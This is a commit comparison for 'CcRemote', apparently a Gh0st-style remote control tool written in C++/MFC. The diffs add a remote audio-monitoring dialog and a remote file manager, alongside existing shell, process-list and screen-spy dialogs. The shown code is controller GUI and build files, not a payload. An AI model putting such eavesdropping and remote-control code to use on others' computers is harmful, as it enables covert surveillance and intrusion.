Compare commits
4 Commits
20200604.2
...
20200611.1
Author | SHA1 | Date | |
---|---|---|---|
![]() |
feb20dcd4e | ||
![]() |
d7f2bcec1c | ||
![]() |
fda76bbbd1 | ||
![]() |
eed525d3f5 |
@@ -1,3 +1,3 @@
|
|||||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||||
TestLoadDll.cpp
|
TestLoadDll.cpp
|
||||||
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
|
TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
|
||||||
|
@@ -1,2 +1,2 @@
|
|||||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||||
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|
|
Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
||||||
|
123
CcRemote/CcRemote/CAudioDlg.cpp
Normal file
@@ -0,0 +1,123 @@
|
|||||||
|
// CAudioDlg.cpp: 实现文件
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "pch.h"
|
||||||
|
#include "CcRemote.h"
|
||||||
|
#include "CAudioDlg.h"
|
||||||
|
#include "afxdialogex.h"
|
||||||
|
#include "..\..\common\macros.h"
|
||||||
|
|
||||||
|
// CAudioDlg 对话框
|
||||||
|
|
||||||
|
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
|
||||||
|
|
||||||
|
CAudioDlg::CAudioDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||||||
|
: CDialog(IDD_AUDIO, pParent)
|
||||||
|
{
|
||||||
|
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_AUDIO)); //处理图标
|
||||||
|
m_iocpServer = pIOCPServer; //为类的成员变量赋值
|
||||||
|
m_pContext = pContext;
|
||||||
|
m_bIsWorking = true;
|
||||||
|
|
||||||
|
m_nTotalRecvBytes = 0;
|
||||||
|
|
||||||
|
sockaddr_in sockAddr;
|
||||||
|
memset(&sockAddr, 0, sizeof(sockAddr)); //得到服务端ip
|
||||||
|
int nSockAddrLen = sizeof(sockAddr);
|
||||||
|
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||||||
|
|
||||||
|
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
|
||||||
|
}
|
||||||
|
|
||||||
|
CAudioDlg::~CAudioDlg()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void CAudioDlg::DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
CDialog::DoDataExchange(pDX);
|
||||||
|
DDX_Check(pDX, IDC_SEND_LOCALAUDIO, m_bIsSendLocalAudio);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
|
||||||
|
ON_WM_CLOSE()
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
|
// CAudioDlg 消息处理程序
|
||||||
|
|
||||||
|
|
||||||
|
BOOL CAudioDlg::OnInitDialog()
|
||||||
|
{
|
||||||
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
// TODO: 在此添加额外的初始化
|
||||||
|
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||||
|
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||||
|
|
||||||
|
CString str;
|
||||||
|
str.Format("\\\\%s - 语音监听", m_IPAddress);
|
||||||
|
SetWindowText(str);
|
||||||
|
|
||||||
|
// 通知远程控制端对话框已经打开
|
||||||
|
BYTE bToken = COMMAND_NEXT;
|
||||||
|
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
|
||||||
|
|
||||||
|
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
|
||||||
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
|
// 异常: OCX 属性页应返回 FALSE
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
DWORD CAudioDlg::WorkThread(LPVOID lparam)
|
||||||
|
{
|
||||||
|
CAudioDlg *pThis = (CAudioDlg *)lparam;
|
||||||
|
|
||||||
|
while (pThis->m_bIsWorking)
|
||||||
|
{
|
||||||
|
if (!pThis->m_bIsSendLocalAudio)
|
||||||
|
{
|
||||||
|
Sleep(1000);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
DWORD dwBytes = 0;
|
||||||
|
LPBYTE lpBuffer = pThis->m_Audio.getRecordBuffer(&dwBytes);
|
||||||
|
if (lpBuffer != NULL && dwBytes > 0)
|
||||||
|
pThis->m_iocpServer->Send(pThis->m_pContext, lpBuffer, dwBytes);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CAudioDlg::OnClose()
|
||||||
|
{
|
||||||
|
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||||
|
m_pContext->m_Dialog[0] = 0;
|
||||||
|
|
||||||
|
closesocket(m_pContext->m_Socket);
|
||||||
|
|
||||||
|
m_bIsWorking = false;
|
||||||
|
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||||
|
CDialog::OnClose();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CAudioDlg::OnReceiveComplete(void)
|
||||||
|
{
|
||||||
|
m_nTotalRecvBytes += m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
|
||||||
|
CString str;
|
||||||
|
str.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024);
|
||||||
|
SetDlgItemText(IDC_TIPS, str);
|
||||||
|
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||||||
|
{
|
||||||
|
//这里也非常简洁,就是将服务端发送来的数据播放出来,我们看一下这个类还是CAudio,哈哈
|
||||||
|
//原来播放和录制是同一个类,我们转到这个函数
|
||||||
|
case TOKEN_AUDIO_DATA:
|
||||||
|
m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
// 传输发生异常数据
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
42
CcRemote/CcRemote/CAudioDlg.h
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
|
||||||
|
// CAudioDlg 对话框
|
||||||
|
#include "include/IOCPServer.h"
|
||||||
|
#include "..\..\common\Audio.h"
|
||||||
|
class CAudioDlg : public CDialog
|
||||||
|
{
|
||||||
|
DECLARE_DYNAMIC(CAudioDlg)
|
||||||
|
|
||||||
|
public:
|
||||||
|
CAudioDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
|
||||||
|
virtual ~CAudioDlg();
|
||||||
|
|
||||||
|
// 对话框数据
|
||||||
|
#ifdef AFX_DESIGN_TIME
|
||||||
|
enum { IDD = IDD_AUDIO };
|
||||||
|
#endif
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
|
||||||
|
public:
|
||||||
|
bool m_bIsWorking;
|
||||||
|
CAudio m_Audio;
|
||||||
|
private:
|
||||||
|
|
||||||
|
UINT m_nTotalRecvBytes;
|
||||||
|
HICON m_hIcon;
|
||||||
|
HANDLE m_hWorkThread;
|
||||||
|
ClientContext* m_pContext;
|
||||||
|
CIOCPServer* m_iocpServer;
|
||||||
|
CString m_IPAddress;
|
||||||
|
public:
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
static DWORD WorkThread(LPVOID lparam);
|
||||||
|
BOOL m_bIsSendLocalAudio;
|
||||||
|
afx_msg void OnClose();
|
||||||
|
void OnReceiveComplete(void);
|
||||||
|
};
|
2605
CcRemote/CcRemote/CFileManagerDlg.cpp
Normal file
156
CcRemote/CcRemote/CFileManagerDlg.h
Normal file
@@ -0,0 +1,156 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "TrueColorToolBar.h"
|
||||||
|
#include "include/IOCPServer.h"
|
||||||
|
#include "resource.h"
|
||||||
|
|
||||||
|
|
||||||
|
typedef CList<CString, CString&> strList;
|
||||||
|
// CFileManagerDlg 对话框
|
||||||
|
|
||||||
|
class CFileManagerDlg : public CDialog
|
||||||
|
{
|
||||||
|
DECLARE_DYNAMIC(CFileManagerDlg)
|
||||||
|
|
||||||
|
public:
|
||||||
|
CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
|
||||||
|
virtual ~CFileManagerDlg();
|
||||||
|
bool m_bIsStop;
|
||||||
|
CString m_strReceiveLocalFile;
|
||||||
|
CString m_strUploadRemoteFile;
|
||||||
|
void ShowProgress();
|
||||||
|
void SendStop();
|
||||||
|
int m_nTransferMode;
|
||||||
|
CString m_hCopyDestFolder;
|
||||||
|
void SendContinue();
|
||||||
|
void SendException();
|
||||||
|
void EndLocalRecvFile();
|
||||||
|
void EndRemoteDeleteFile();
|
||||||
|
CString m_strOperatingFile; // 文件名
|
||||||
|
__int64 m_nOperatingFileLength; // 文件总大小
|
||||||
|
__int64 m_nCounter;// 计数器
|
||||||
|
void WriteLocalRecvFile();
|
||||||
|
void CreateLocalRecvFile();
|
||||||
|
BOOL SendDownloadJob();
|
||||||
|
BOOL SendUploadJob();
|
||||||
|
BOOL SendDeleteJob();
|
||||||
|
|
||||||
|
strList m_Remote_Download_Job;
|
||||||
|
strList m_Remote_Upload_Job;
|
||||||
|
strList m_Remote_Delete_Job;
|
||||||
|
CTrueColorToolBar m_wndToolBar_Local;
|
||||||
|
CTrueColorToolBar m_wndToolBar_Remote;
|
||||||
|
void ShowMessage(char *lpFmt, ...);
|
||||||
|
CString m_Remote_Path;
|
||||||
|
BYTE m_bRemoteDriveList[1024];
|
||||||
|
CString GetParentDirectory(CString strPath);
|
||||||
|
void OnReceiveComplete();
|
||||||
|
|
||||||
|
CImageList* m_pImageList_Large;
|
||||||
|
CImageList* m_pImageList_Small;
|
||||||
|
|
||||||
|
int m_nNewIconBaseIndex; // 新加的ICON
|
||||||
|
|
||||||
|
ClientContext* m_pContext;
|
||||||
|
CIOCPServer* m_iocpServer;
|
||||||
|
CString m_IPAddress;
|
||||||
|
|
||||||
|
CProgressCtrl* m_ProgressCtrl;
|
||||||
|
HCURSOR m_hCursor;
|
||||||
|
CString m_Local_Path;
|
||||||
|
bool FixedUploadDirectory(LPCTSTR lpPathName);
|
||||||
|
void FixedLocalDriveList();
|
||||||
|
void FixedRemoteDriveList();
|
||||||
|
void FixedLocalFileList(CString directory = "");
|
||||||
|
void GetRemoteFileList(CString directory = "");
|
||||||
|
void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen);
|
||||||
|
|
||||||
|
HICON m_hIcon;
|
||||||
|
CStatusBar m_wndStatusBar;
|
||||||
|
|
||||||
|
CComboBox m_Remote_Directory_ComboBox;
|
||||||
|
CComboBox m_Local_Directory_ComboBox;
|
||||||
|
CListCtrl m_list_remote;
|
||||||
|
CListCtrl m_list_local;
|
||||||
|
// 对话框数据
|
||||||
|
#ifdef AFX_DESIGN_TIME
|
||||||
|
enum { IDD = IDD_FILE };
|
||||||
|
#endif
|
||||||
|
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||||
|
virtual void PostNcDestroy();
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
afx_msg HCURSOR OnQueryDragIcon();
|
||||||
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
|
afx_msg void OnDblclkListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg void OnBegindragListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg void OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
||||||
|
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
||||||
|
afx_msg void OnTimer(UINT nIDEvent);
|
||||||
|
afx_msg void OnClose();
|
||||||
|
afx_msg void OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg void OnLocalPrev();
|
||||||
|
afx_msg void OnRemotePrev();
|
||||||
|
afx_msg void OnLocalView();
|
||||||
|
afx_msg void OnLocalList();
|
||||||
|
afx_msg void OnLocalReport();
|
||||||
|
afx_msg void OnLocalBigicon();
|
||||||
|
afx_msg void OnLocalSmallicon();
|
||||||
|
afx_msg void OnRemoteBigicon();
|
||||||
|
afx_msg void OnRemoteList();
|
||||||
|
afx_msg void OnRemoteReport();
|
||||||
|
afx_msg void OnRemoteSmallicon();
|
||||||
|
afx_msg void OnRemoteView();
|
||||||
|
afx_msg void OnUpdateLocalStop(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateRemoteStop(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateLocalPrev(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateRemotePrev(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateLocalCopy(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateRemoteCopy(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateRemoteDelete(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateRemoteNewfolder(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateLocalDelete(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnUpdateLocalNewfolder(CCmdUI* pCmdUI);
|
||||||
|
afx_msg void OnRemoteCopy();
|
||||||
|
afx_msg void OnLocalCopy();
|
||||||
|
afx_msg void OnLocalDelete();
|
||||||
|
afx_msg void OnRemoteDelete();
|
||||||
|
afx_msg void OnRemoteStop();
|
||||||
|
afx_msg void OnLocalStop();
|
||||||
|
afx_msg void OnLocalNewfolder();
|
||||||
|
afx_msg void OnRemoteNewfolder();
|
||||||
|
afx_msg void OnTransfer();
|
||||||
|
afx_msg void OnRename();
|
||||||
|
afx_msg void OnEndlabeleditListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg void OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg void OnDelete();
|
||||||
|
afx_msg void OnNewfolder();
|
||||||
|
afx_msg void OnRefresh();
|
||||||
|
afx_msg void OnLocalOpen();
|
||||||
|
afx_msg void OnRemoteOpenShow();
|
||||||
|
afx_msg void OnRemoteOpenHide();
|
||||||
|
afx_msg void OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
afx_msg void OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
|
protected:
|
||||||
|
CListCtrl* m_pDragList; //Which ListCtrl we are dragging FROM
|
||||||
|
CListCtrl* m_pDropList; //Which ListCtrl we are dropping ON
|
||||||
|
BOOL m_bDragging; //T during a drag operation
|
||||||
|
int m_nDragIndex; //Index of selected item in the List we are dragging FROM
|
||||||
|
int m_nDropIndex; //Index at which to drop item in the List we are dropping ON
|
||||||
|
CWnd* m_pDropWnd; //Pointer to window we are dropping on (will be cast to CListCtrl* type)
|
||||||
|
|
||||||
|
void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList);
|
||||||
|
private:
|
||||||
|
bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位
|
||||||
|
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||||
|
void SendTransferMode();
|
||||||
|
void SendFileData();
|
||||||
|
void EndLocalUploadFile();
|
||||||
|
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||||
|
void EnableControl(BOOL bEnable = TRUE);
|
||||||
|
};
|
@@ -202,9 +202,13 @@
|
|||||||
</ResourceCompile>
|
</ResourceCompile>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\..\common\Audio.h" />
|
||||||
<ClInclude Include="..\..\common\macros.h" />
|
<ClInclude Include="..\..\common\macros.h" />
|
||||||
|
<ClInclude Include="CAudioDlg.h" />
|
||||||
<ClInclude Include="CcRemote.h" />
|
<ClInclude Include="CcRemote.h" />
|
||||||
<ClInclude Include="CcRemoteDlg.h" />
|
<ClInclude Include="CcRemoteDlg.h" />
|
||||||
|
<ClInclude Include="CFileManagerDlg.h" />
|
||||||
|
<ClInclude Include="FileTransferModeDlg.h" />
|
||||||
<ClInclude Include="CScreenSpyDlg.h" />
|
<ClInclude Include="CScreenSpyDlg.h" />
|
||||||
<ClInclude Include="CSettingDlg.h" />
|
<ClInclude Include="CSettingDlg.h" />
|
||||||
<ClInclude Include="CShellDlg.h" />
|
<ClInclude Include="CShellDlg.h" />
|
||||||
@@ -215,6 +219,7 @@
|
|||||||
<ClInclude Include="include\IOCPServer.h" />
|
<ClInclude Include="include\IOCPServer.h" />
|
||||||
<ClInclude Include="include\Mapper.h" />
|
<ClInclude Include="include\Mapper.h" />
|
||||||
<ClInclude Include="IniFile.h" />
|
<ClInclude Include="IniFile.h" />
|
||||||
|
<ClInclude Include="InputDlg.h" />
|
||||||
<ClInclude Include="pch.h" />
|
<ClInclude Include="pch.h" />
|
||||||
<ClInclude Include="PublicStruct.h" />
|
<ClInclude Include="PublicStruct.h" />
|
||||||
<ClInclude Include="Resource.h" />
|
<ClInclude Include="Resource.h" />
|
||||||
@@ -223,8 +228,14 @@
|
|||||||
<ClInclude Include="TrueColorToolBar.h" />
|
<ClInclude Include="TrueColorToolBar.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClCompile Include="..\..\common\Audio.cpp">
|
||||||
|
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="CAudioDlg.cpp" />
|
||||||
<ClCompile Include="CcRemote.cpp" />
|
<ClCompile Include="CcRemote.cpp" />
|
||||||
<ClCompile Include="CcRemoteDlg.cpp" />
|
<ClCompile Include="CcRemoteDlg.cpp" />
|
||||||
|
<ClCompile Include="CFileManagerDlg.cpp" />
|
||||||
|
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||||
<ClCompile Include="CScreenSpyDlg.cpp" />
|
<ClCompile Include="CScreenSpyDlg.cpp" />
|
||||||
<ClCompile Include="CSettingDlg.cpp" />
|
<ClCompile Include="CSettingDlg.cpp" />
|
||||||
<ClCompile Include="CShellDlg.cpp" />
|
<ClCompile Include="CShellDlg.cpp" />
|
||||||
@@ -244,6 +255,7 @@
|
|||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Use</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Use</PrecompiledHeader>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
|
<ClCompile Include="InputDlg.cpp" />
|
||||||
<ClCompile Include="pch.cpp">
|
<ClCompile Include="pch.cpp">
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||||
@@ -257,14 +269,24 @@
|
|||||||
<ResourceCompile Include="CcRemote.rc" />
|
<ResourceCompile Include="CcRemote.rc" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<None Include="res\1.cur" />
|
||||||
|
<None Include="res\2.cur" />
|
||||||
|
<None Include="res\3.cur" />
|
||||||
|
<None Include="res\4.cur" />
|
||||||
<None Include="res\CcRemote.rc2" />
|
<None Include="res\CcRemote.rc2" />
|
||||||
<None Include="res\dot.cur" />
|
<None Include="res\dot.cur" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<Image Include="res\audio.ico" />
|
||||||
|
<Image Include="res\background_picture.bmp" />
|
||||||
|
<Image Include="res\Bitmap_4.bmp" />
|
||||||
|
<Image Include="res\Bitmap_5.bmp" />
|
||||||
|
<Image Include="res\bmp00001.bmp" />
|
||||||
<Image Include="res\CcRemote.ico" />
|
<Image Include="res\CcRemote.ico" />
|
||||||
<Image Include="res\cmdshell.ico" />
|
<Image Include="res\cmdshell.ico" />
|
||||||
<Image Include="res\system.ico" />
|
<Image Include="res\system.ico" />
|
||||||
<Image Include="res\toolbar1.bmp" />
|
<Image Include="res\toolbar1.bmp" />
|
||||||
|
<Image Include="res\toolbar2.bmp" />
|
||||||
<Image Include="res\ToolBar_Main.bmp" />
|
<Image Include="res\ToolBar_Main.bmp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
@@ -78,6 +78,21 @@
|
|||||||
<ClInclude Include="CScreenSpyDlg.h">
|
<ClInclude Include="CScreenSpyDlg.h">
|
||||||
<Filter>头文件</Filter>
|
<Filter>头文件</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
|
<ClInclude Include="CFileManagerDlg.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="FileTransferModeDlg.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="InputDlg.h">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="CAudioDlg.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="..\..\common\Audio.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="CcRemote.cpp">
|
<ClCompile Include="CcRemote.cpp">
|
||||||
@@ -119,6 +134,21 @@
|
|||||||
<ClCompile Include="CScreenSpyDlg.cpp">
|
<ClCompile Include="CScreenSpyDlg.cpp">
|
||||||
<Filter>源文件</Filter>
|
<Filter>源文件</Filter>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
|
<ClCompile Include="CFileManagerDlg.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="FileTransferModeDlg.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="InputDlg.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="CAudioDlg.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="..\..\common\Audio.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="CcRemote.rc">
|
<ResourceCompile Include="CcRemote.rc">
|
||||||
@@ -132,6 +162,18 @@
|
|||||||
<None Include="res\dot.cur">
|
<None Include="res\dot.cur">
|
||||||
<Filter>资源文件</Filter>
|
<Filter>资源文件</Filter>
|
||||||
</None>
|
</None>
|
||||||
|
<None Include="res\1.cur">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\2.cur">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\3.cur">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\4.cur">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Image Include="res\CcRemote.ico">
|
<Image Include="res\CcRemote.ico">
|
||||||
@@ -149,5 +191,23 @@
|
|||||||
<Image Include="res\system.ico">
|
<Image Include="res\system.ico">
|
||||||
<Filter>资源文件</Filter>
|
<Filter>资源文件</Filter>
|
||||||
</Image>
|
</Image>
|
||||||
|
<Image Include="res\background_picture.bmp">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</Image>
|
||||||
|
<Image Include="res\Bitmap_4.bmp">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</Image>
|
||||||
|
<Image Include="res\Bitmap_5.bmp">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</Image>
|
||||||
|
<Image Include="res\bmp00001.bmp">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</Image>
|
||||||
|
<Image Include="res\toolbar2.bmp">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</Image>
|
||||||
|
<Image Include="res\audio.ico">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</Image>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
@@ -84,6 +84,8 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
|
|||||||
ON_MESSAGE(WM_OPENSHELLDIALOG, OnOpenShellDialog)
|
ON_MESSAGE(WM_OPENSHELLDIALOG, OnOpenShellDialog)
|
||||||
ON_MESSAGE(WM_OPENPSLISTDIALOG, OnOpenSystemDialog)
|
ON_MESSAGE(WM_OPENPSLISTDIALOG, OnOpenSystemDialog)
|
||||||
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
|
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
|
||||||
|
ON_MESSAGE(WM_OPENMANAGERDIALOG, OnOpenManagerDialog)
|
||||||
|
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
|
||||||
|
|
||||||
|
|
||||||
//-------------系统-------------
|
//-------------系统-------------
|
||||||
@@ -107,6 +109,8 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
|
|||||||
ON_COMMAND(IDM_MAIN_BUILD, &CCcRemoteDlg::OnMainBuild)
|
ON_COMMAND(IDM_MAIN_BUILD, &CCcRemoteDlg::OnMainBuild)
|
||||||
ON_COMMAND(IDM_MAIN_ABOUT, &CCcRemoteDlg::OnMainAbout)
|
ON_COMMAND(IDM_MAIN_ABOUT, &CCcRemoteDlg::OnMainAbout)
|
||||||
ON_WM_CLOSE()
|
ON_WM_CLOSE()
|
||||||
|
ON_WM_ERASEBKGND()
|
||||||
|
ON_WM_CTLCOLOR()
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
@@ -292,6 +296,8 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
|||||||
if (SIZE_MINIMIZED == nType)//当窗口最小化避免大小为0造成崩溃直接返回
|
if (SIZE_MINIMIZED == nType)//当窗口最小化避免大小为0造成崩溃直接返回
|
||||||
return;
|
return;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
if (m_CList_Online.m_hWnd != NULL)
|
if (m_CList_Online.m_hWnd != NULL)
|
||||||
{
|
{
|
||||||
CRect rc;
|
CRect rc;
|
||||||
@@ -308,6 +314,12 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
|||||||
int lenth = dd; //转换为int 类型
|
int lenth = dd; //转换为int 类型
|
||||||
m_CList_Online.SetColumnWidth(i, (lenth)); //设置当前的宽度
|
